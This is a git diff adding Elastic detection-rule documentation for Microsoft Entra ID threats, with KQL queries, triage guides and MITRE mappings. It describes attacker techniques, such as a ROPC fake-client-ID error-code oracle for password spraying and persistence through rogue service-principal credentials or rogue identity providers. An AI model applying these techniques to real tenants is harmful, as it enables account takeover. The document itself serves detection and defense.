a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-register-device-with-unusual-user-agent-azure-ad-join.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-register-device-with-unusual-user-agent-azure-ad-join.asciidoc new file mode 100644 index 0000000000..cfe62823f4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-register-device-with-unusual-user-agent-azure-ad-join.asciidoc @@ -0,0 +1,110 @@ +[[prebuilt-rule-8-19-34-entra-id-register-device-with-unusual-user-agent-azure-ad-join]] +=== Entra ID Register Device with Unusual User Agent (Azure AD Join) + +Detects successful Microsoft Entra ID audit events for Register device where additional details indicate an Azure AD join and the recorded user agent is not one of the common native registration clients (Dsreg, DeviceRegistrationClient, or Dalvik-based Android enrollment). Legitimate Windows and standard mobile enrollment flows often present predictable user-agent strings; unexpected clients may reflect scripted registration, third-party tooling, or adversary-driven device registration used for persistence or token abuse. Baseline approved provisioning tools and MDM integrations before tuning. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/devices/concept-directory-join +* https://github.com/dirkjanm/ROADtools + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Register Device with Unusual User Agent (Azure AD Join)* + + +Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName`, source IP fields on the audit event, +`azure.auditlogs.properties.target_resources.0.display_name` for the device name, and +`azure.correlation_id` for related audit entries. + +Compare `azure.auditlogs.properties.userAgent` to your organization's standard Autopilot, Intune, and Windows enrollment +clients. + + +*Possible investigation steps* + + +- Confirm whether the user intentionally joined a device and whether the user agent matches a known provisioning package. +- Pivot to `azure.signinlogs` for the same principal and timeframe for risky sign-ins or token broker activity. +- Search for other `Register device` events from the same IP or user agent across the tenant. + + +*Response and remediation* + + +- If malicious, remove the device in Entra ID, revoke refresh and primary refresh tokens for the user, and reset credentials per policy. +- Tighten device registration and join controls via Conditional Access and device compliance policies. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.auditlogs" and event.action:"Register device" and +event.outcome:(success or Success) and +azure.auditlogs.properties.userAgent:(* and not (Dsreg* or DeviceRegistrationClient or Dalvik*)) and +azure.auditlogs.properties.additional_details.value:"Azure AD join" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-ropc-authentication-with-unknown-client-id.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-ropc-authentication-with-unknown-client-id.asciidoc new file mode 100644 index 0000000000..75d1d5445b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-ropc-authentication-with-unknown-client-id.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-entra-id-ropc-authentication-with-unknown-client-id]] +=== Entra ID ROPC Authentication with Unknown Client ID + +Identifies potential OAuth client ID spoofing in Microsoft Entra ID sign-in logs. Adversaries submit fabricated or non-existent application identifiers (client IDs) in Resource Owner Password Credentials (ROPC) authentication requests to the token endpoint. Because Entra ID validates the submitted credential before rejecting the request on application resolution, the resulting error code acts as a credential- and account-validity oracle while never producing a successful sign-in. By fragmenting attempts across many fictional application identifiers, adversaries evade per-application detections, rate limiting, and application-scoped Conditional Access. This rule detects a ROPC authentication that fails with error code 700016 (application not found in the directory) where no application display name resolves, which is characteristic of a spoofed client ID used for stealthy user enumeration and password spraying. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/oauth-client-id-spoofing-why-fake-client-ids-are-gaining-traction-stealthy +* https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID ROPC Authentication with Unknown Client ID* + + +Adversaries submit fabricated application identifiers (client IDs) in ROPC authentication requests to Microsoft's token endpoint. Entra ID validates the supplied username and password before rejecting the request because the application does not exist, so the returned error code reveals whether the credential and account are valid without ever producing a successful sign-in. A valid credential paired with a spoofed client ID returns `AADSTS700016` (application not found), an invalid password returns `AADSTS50126`, and a non-existent user returns `AADSTS50034`. Because the application never resolves, application-scoped Conditional Access is bypassed, and fragmenting requests across many random client IDs defeats per-application correlation and rate limiting. This behavior is used for stealthy user enumeration and password spraying (for example, the campaigns Proofpoint tracks as UNK_pyreq2323 and UNK_OutFlareAZ). + +This rule detects a ROPC authentication (`authentication_protocol: ropc`) that fails with `status.error_code: 700016` and carries no resolved `app_display_name`, the signature of a spoofed or non-existent client ID. This is a New Terms rule that triggers only when the application identifier (`app_id`) has not been observed in the tenant's sign-in logs in the previous 10 days, so each newly introduced spoofed client ID surfaces once rather than on every attempt. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.app_id`: the value is a client ID that does not resolve to any registered application in the tenant. Determine whether the same principal or source is presenting many distinct or randomized client IDs (fragmentation) versus a single stable identifier (possible deleted app). +- Assess `azure.signinlogs.properties.user_principal_name`: a valid user account produces a sign-in log for this activity, so the targeted principal exists in the directory and its credentials are being probed. Prioritize privileged or high-value accounts. +- Correlate `azure.signinlogs.properties.status.error_code` for the same user and source over time. A shift from `50126` (invalid password) to `700016` (application not found) for the same account indicates the adversary has confirmed a valid credential, because the request advanced past credential validation. +- Review `source.ip`, `source.as.organization.name`, and `source.geo.country_name`: enumeration commonly originates from hosting providers, VPNs, or proxy infrastructure rather than corporate ranges. +- Inspect `user_agent.original` and `azure.signinlogs.properties.client_app_used`: scripted enumeration frequently uses generic HTTP libraries and logs `client_app_used` as `Unknown`. +- Pivot on the source IP or ASN to determine how many distinct user principals are being probed, which distinguishes targeted probing from broad spraying. + + +*False positive analysis* + + +- A legitimate application deleted from the tenant while a client keeps authenticating against its former client ID via ROPC can produce `700016`. Such activity is typically a single, stable client ID at low volume, unlike the many distinct or randomized identifiers seen in spoofing. +- A misconfigured legacy client submitting an incorrect client ID may also trigger this rule. Confirm the client ID, the source, and whether the same principal is targeted by multiple unresolved client IDs before dismissing. + + +*Response and remediation* + + +- If enumeration is confirmed, treat the targeted accounts as credential-probing targets: force password resets and revoke refresh tokens for any account where the error code progressed to `700016` (credential likely validated). +- Block the offending source IPs or ASNs at the firewall, proxy, or via Conditional Access named locations. +- Ensure MFA and Conditional Access are enforced for all user types, and disable legacy and ROPC authentication where not required, since ROPC cannot satisfy MFA. +- Audit targeted accounts for credential reuse across services and monitor for follow-on interactive or non-interactive sign-in success from the same source. +- Notify your identity security team and correlate with any concurrent brute-force or password-spray detections. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" + and event.category: "authentication" + and azure.signinlogs.properties.authentication_protocol: "ropc" + and azure.signinlogs.properties.status.error_code: 700016 + and not azure.signinlogs.properties.app_display_name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-created.asciidoc new file mode 100644 index 0000000000..18e186db07 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-created.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-entra-id-service-principal-created]] +=== Entra ID Service Principal Created + +Identifies when a new service principal is added in Microsoft Entra ID. An application, hosted service, or automated tool that accesses or modifies resources needs an identity created. This identity is known as a service principal. For security reasons, it's always recommended to use service principals with automated tools rather than allowing them to log in with a user identity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ +* https://docs.microsoft.com/en-us/azure/active-directory/develop/howto-create-service-principal-portal + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Created* + + +Service Principals are identities used by applications, services, and automation tools to access specific resources. They grant specific access based on the assigned API permissions. Most organizations that work a lot with Azure AD make use of service principals. Whenever an application is registered, it automatically creates an application object and a service principal in an Azure AD tenant. + +This rule looks for the addition of service principals. This behavior may enable attackers to impersonate legitimate service principals to camouflage their activities among noisy automations/apps. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the source IP address and geolocation for the user who issued the command. Do they look normal for the user? +- Consider the time of day. If the user is a human, not a program or script, did the activity take place during a normal time of day? +- Check if this operation was approved and performed according to the organization's change management policy. +- Contact the account owner and confirm whether they are aware of this activity. +- Examine the account's commands, API calls, and data management actions in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Microsft Entra ID Audit Logs* + +This rule requires the Azure integration with Microsoft Entra ID Audit Logs data stream ingesting in your Elastic Stack deployment. For more information, refer to the https://www.elastic.co/docs/reference/integrations/azure/adlogs[Microsoft Entra ID Audit Logs integration documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs + and azure.auditlogs.operation_name:"Add service principal" + and event.outcome:(success or Success) + and not azure.auditlogs.identity: ( + "Managed Service Identity" or + "Windows Azure Service Management API" or + "Microsoft Azure AD Internal - Jit Provisioning" or + "AAD App Management" or + "Power Virtual Agents Service" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc new file mode 100644 index 0000000000..6983131085 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-entra-id-service-principal-credentials-created-by-unusual-user]] +=== Entra ID Service Principal Credentials Created by Unusual User + +Identifies when new Service Principal credentials have been added in Microsoft Entra ID. In most organizations, credentials will be added to service principals infrequently. Hijacking an application (by adding a rogue secret or certificate) with granted permissions will allow the attacker to access data that is normally protected by MFA requirements. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 +* https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ +* https://www.cisa.gov/news-events/alerts/2025/05/22/advisory-update-cyber-threat-activity-targeting-commvaults-saas-cloud-application-metallic + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Entra ID +* Domain: Identity + +*Version*: 111 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Credentials Created by Unusual User* + + +This rule identifies the addition of new credentials (client secrets or certificates) to a Microsoft Entra ID (formerly Azure AD) service principal by a user who has not previously performed this operation in the last 10 days. Adversaries who obtain temporary or persistent access to a user account may add rogue credentials to service principals in order to maintain unauthorized access to cloud resources. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that detects rare users performing sensitive identity-related actions in Entra ID. + + +*Possible Investigation Steps* + +- Identify the Actor: Review the `azure.auditlogs.properties.initiated_by.user.user_principal_name` and `azure.auditlogs.properties.initiated_by.user.id` fields to identify the user account performing the action. Determine if this user typically manages service principals. +- Check for Known Admin or Automation Context: Validate if the action was expected (e.g., part of a deployment pipeline or credential rotation process). Investigate whether this is a known administrative account or an automated service principal maintainer. +- Inspect Credential Type: Determine if a certificate or client secret was added, and assess its expiration time, usage scope, and whether it aligns with internal practices. +- Correlate with Other Events: Look for surrounding events such as creation of new service principals, assignment of roles or permissions, or suspicious application sign-ins that could indicate persistence or privilege escalation. +- Analyze Source of Activity: Review `source.ip` and `user_agent.original` fields to assess whether the request came from a trusted network or device. Unexpected geolocations, hosting providers, or Linux CLI-based user agents may indicate unauthorized activity. + + +*False Positive Analysis* + +- Routine Administrative Tasks: This alert may trigger when legitimate administrators or DevOps engineers rotate credentials for service principals as part of normal operations. +- First-Time Actions by Known Accounts: If a new user joins the team or an existing user is performing this task for the first time in the observed period, it may be expected behavior. Verify with the relevant team. + + +*Response and Remediation* + +- Revoke Unauthorized Credentials: If suspicious, disable or delete the newly added service principal credential immediately. +- Investigate User Account: Review the login history, IP address usage, and other activity from the initiating user to determine whether the account is compromised. +- Audit Affected Service Principal: Evaluate the permissions granted to the service principal to understand the potential impact of misuse. +- Review RBAC and Least Privilege: Ensure that only authorized identities have permission to add credentials to service principals. Tighten IAM role definitions if necessary. +- Enable Just-in-Time or Approval-Based Access: Consider implementing access control policies that require approvals for modifying service principals or adding credentials. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" + and azure.auditlogs.operation_name:"Add service principal credentials" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc new file mode 100644 index 0000000000..5b6a573920 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-entra-id-service-principal-federated-credential-authentication-by-unusual-client]] +=== Entra ID Service Principal Federated Credential Authentication by Unusual Client + +Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/ +* https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation +* https://github.com/dirkjanm/ROADtools + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Federated Credential Authentication by Unusual Client* + + +If this rule triggers, it indicates that a service principal has authenticated using a federated identity credential for the first time within the historical window. This means that Entra ID validated a JWT token potentially issued by an external OIDC identity provider and issued an access token for the service principal. While this can be legitimate for CI/CD workflows (e.g., GitHub Actions, Azure DevOps, Kubernetes OIDC), it can also indicate abuse by adversaries who have configured rogue identity providers (BYOIDP) to authenticate as compromised applications. For BYOIDP attacks, this is the moment the adversary's rogue identity provider is used to authenticate as the +compromised application for the first time. + + +*Possible investigation steps* + + +- Identify the service principal using `azure.signinlogs.properties.app_id` and `app_display_name`. +- Critical: Check the application's federated credential configuration in Entra ID: + - What is the issuer URL? Is it a known legitimate provider (GitHub Actions, Azure DevOps, Kubernetes)? + - When was the federated credential added? Was it recent? + - Who added the federated credential? +- Review the `service_principal_credential_thumbprint` - does it match expected certificates? +- Investigate the source IP (`azure.signinlogs.caller_ip_address`) - is it from expected CI/CD infrastructure? +- Check what resources were accessed after authentication using `azure.signinlogs.properties.resource_display_name`. +- Correlate with Graph Activity logs to see what API calls were made with this token. +- Use the `correlation_id` to find related sign-in and activity events. +- Review audit logs for recent changes to this application's federated credentials. + + +*False positive analysis* + + +- Legitimate CI/CD pipelines using GitHub Actions, Azure DevOps, or Kubernetes OIDC will trigger this rule on first use. +- New application deployments with workload identity federation are expected to show as new behavior. +- Validate the issuer URL against approved identity providers before dismissing. +- Create baseline of applications expected to use federated credentials. + + +*Response and remediation* + + +- If this is unexpected federated auth for the application, immediately investigate the federated credential configuration. +- Review the external IdP issuer URL configured on the application - is it legitimate? +- If BYOIDP is confirmed: + - Remove the malicious federated credential immediately. + - Revoke active sessions and tokens for the affected service principal. + - Audit what actions were performed using the compromised identity. + - Investigate how the federated credential was added (compromised admin account). + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +To use this rule, ensure that Microsoft Entra ID Sign-In Logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" + and azure.signinlogs.category: "ServicePrincipalSignInLogs" + and azure.signinlogs.properties.client_credential_type: "federatedIdentityCredential" + and azure.signinlogs.result_signature: "SUCCESS" + and azure.signinlogs.properties.app_id: * + and not azure.signinlogs.properties.app_owner_tenant_id: ( + "f8cdef31-a31e-4b4a-93e4-5f571e91255a" or + "72f988bf-86f1-41af-91ab-2d7cd011db47" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-with-unusual-source-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-with-unusual-source-asn.asciidoc new file mode 100644 index 0000000000..af0903070d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-service-principal-with-unusual-source-asn.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-34-entra-id-service-principal-with-unusual-source-asn]] +=== Entra ID Service Principal with Unusual Source ASN + +Identifies Entra ID service principal sign-ins where the workload identity and source autonomous system number (ASN) together have not appeared in recent history. Attackers who obtain application secrets or tokens often authenticate from unfamiliar hosting providers, residential or VPN egress, or networks outside normal automation footprints, which can precede data access, lateral movement, or ransomware activity in the tenant. The detection emphasizes first-seen network context for non-interactive workload identities. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/workload-identities +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-3-from-compromis + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal with Unusual Source ASN* + + +This rule matches successful **ServicePrincipalSignInLogs** events where `azure.signinlogs.properties.service_principal_id` +and `source.as.number` together have not appeared in the rule history window. It is a first-seen network path signal for +the workload identity, not proof of compromise by itself. + + +*Possible investigation steps* + + +- Confirm the event is **ServicePrincipalSignInLogs** with a successful outcome and review `azure.signinlogs.properties.status.error_code` on the source document if needed. +- Identify the application using `azure.signinlogs.properties.app_display_name`, `azure.signinlogs.properties.app_id`, and `azure.signinlogs.properties.service_principal_id`. In Entra ID, review the enterprise application or app registration (first-party, partner, or internal automation). +- Review `source.ip`, `source.as.organization.name`, `source.as.number`, and `source.geo.*` against the owning team’s expected regions, cloud subscriptions, and CI/CD or automation footprint. +- Compare `@timestamp` to maintenance windows, releases, and planned infrastructure changes. +- Where possible, enrich `source.ip` with internal CMDB, cloud asset inventory, or threat intelligence (residential or low-reputation ASNs warrant more scrutiny than a known cloud provider already used by this app). +- In Entra sign-in logs, pivot on the same `service_principal_id` or `app_id` and review prior successful sign-ins for typical ASNs and egress patterns; a one-off path may be a new pipeline or stolen credentials used from a new host. +- Review Entra audit logs for recent changes to this application: client secrets, certificates, federated credentials, owners, API permissions, or app role assignments, especially shortly before the alert. +- Query Azure Activity, Microsoft Graph, or workload-specific logs after the sign-in time using `azure.signinlogs.properties.correlation_id` or `session_id` when present to see what resources the identity accessed (subscriptions, Key Vault, mail, privileged roles). +- Search for related alerts in the same time window involving the same `app_id` or `source.ip` (for example OAuth abuse, consent, Arc or Kubernetes access, or directory role changes). +- Note that the rule query excludes Microsoft-labeled `source.as.organization.name` values; high-value investigations should also review raw sign-in data for suspicious activity that only appears under those labels. + + +*False positive analysis* + + +- New regions, subscriptions, GitHub Actions or Azure DevOps pools, DR exercises, or vendor migrations can produce a legitimate first-seen ASN for the service principal. Validate with the owner and document expected paths before excluding. +- Amazon- and Google-labeled ASNs are in scope by design; adversaries may egress through AWS or GCP. Expect more noise from legitimate automation in those clouds and prefer allowlisting reviewed `app_id` or automation accounts over disabling the rule. +- GeoIP or ASN enrichment updates can occasionally produce a one-time new tuple; compare to historical events for the same IP if available. + + +*Response and remediation* + + +- If the path is unexpected and risky audit activity preceded the sign-in, treat as a potential credential incident: rotate application secrets and certificates, revoke sessions or tokens as applicable, and review Conditional Access and workload identity policies for the application. +- Review and reduce API permissions, OAuth scopes, and directory or subscription roles granted to the application; remove unused access. +- Document approved automation and network baselines so repeat first-seen ASN alerts can be triaged faster. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs + and azure.signinlogs.category:ServicePrincipalSignInLogs + and azure.signinlogs.properties.status.error_code:0 + and azure.signinlogs.properties.service_principal_id:* + and source.as.number:* + and not source.as.organization.name:(*MICROSOFT* or *Microsoft*) + and not azure.signinlogs.properties.app_owner_tenant_id:(72f988bf-86f1-41af-91ab-2d7cd011db47 or f8cdef31-a31e-4b4a-93e4-5f571e91255a) + 